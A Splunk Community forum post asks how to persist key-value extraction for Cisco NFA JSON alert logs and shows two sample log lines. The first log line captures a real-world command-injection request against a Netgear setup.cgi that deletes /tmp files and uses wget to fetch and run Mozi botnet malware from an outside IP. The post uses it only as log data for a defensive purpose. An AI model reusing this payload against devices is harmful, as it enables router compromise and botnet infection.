Splunk Search

Json data fields are not extracting properly

srivenna
Engager

Cisco logs with json format is not extracting properly. I tried from GUI using this kv delims in search and they are working fine.

| kv pairdelim="," kvdelim="=:"

But how can i save them?. Or do we have any alternate way to extract these fields.

2022-01-31T13:11:20.233100-05:00 prd-vswnfa.bbtnet.com {"source": "cisco_nfa", "time": "2022-01-31 16:26:47+00:00", "alert": "http-shell-cmd", "tactic": "Initial Access", "ttp": "Exploit Public-Facing Application", "flow_id": "13847779", "app": "HTTP", "user": "", "s_hg": "China,CHINA UNICOM China169 Backbone", "s_ip": "125.46.191.152", "s_port": 41007, "s_bytes": 245, "s_payload": "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://125.46.191.152:39222/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1", "p_hg": "Public Space BBT", "p_ip": "74.120.69.217", "p_port": 80, "p_bytes": 303, "p_payload": "301 301 Moved Permanently"}

2022-01-31T13:11:20.202060-05:00 prd-vswnfa.bbtnet.com {"source": "cisco_nfa", "time": "2022-01-31 14:28:58+00:00", "alert": "log4j-shell-recon", "tactic": "Reconnaissance", "ttp": "Gather Victim Host Information", "flow_id": "13842059", "app": "HTTPS", "user": "", "s_hg": "Log4j Watchlist,Brute Force,Apache,Germany,Tor IP,Tor Exit IP", "s_ip": "185.220.101.157", "s_port": 9390, "s_bytes": 820, "s_payload": "............,.lb....Z.....", "p_hg": "Public Space BBT", "p_ip": "74.120.69.238", "p_port": 443, "p_bytes": 1460, "p_payload": "...m..J..4.v.A....\"FJ...:."}

Labels (1)
0 Karma
Got questions? Get answers!

Join the Splunk Community Slack to learn, troubleshoot, and make connections with fellow Splunk practitioners in real time!

Meet up IRL or virtually!

Join Splunk User Groups to connect and learn in-person by region or remotely by topic or industry.

Get Updates on the Splunk Community!

Break the Build: Inside the KubeDoom Lounge at .conf26

    You step up to the machine. The pixelated corridors of a certain 1993 FPS load in front of you, EMP Pulse ...

Splunk Auto Ingestion Parallel Pipeline Scaling

Why this feature matters Many Splunk environments experience ingestion pressure long before the host is fully ...

Best Practices: Splunk auto adjust pipeline queue

When you enable autoAdjustQueue in Splunk, maxSize should be understood as the queue size Splunk starts with ...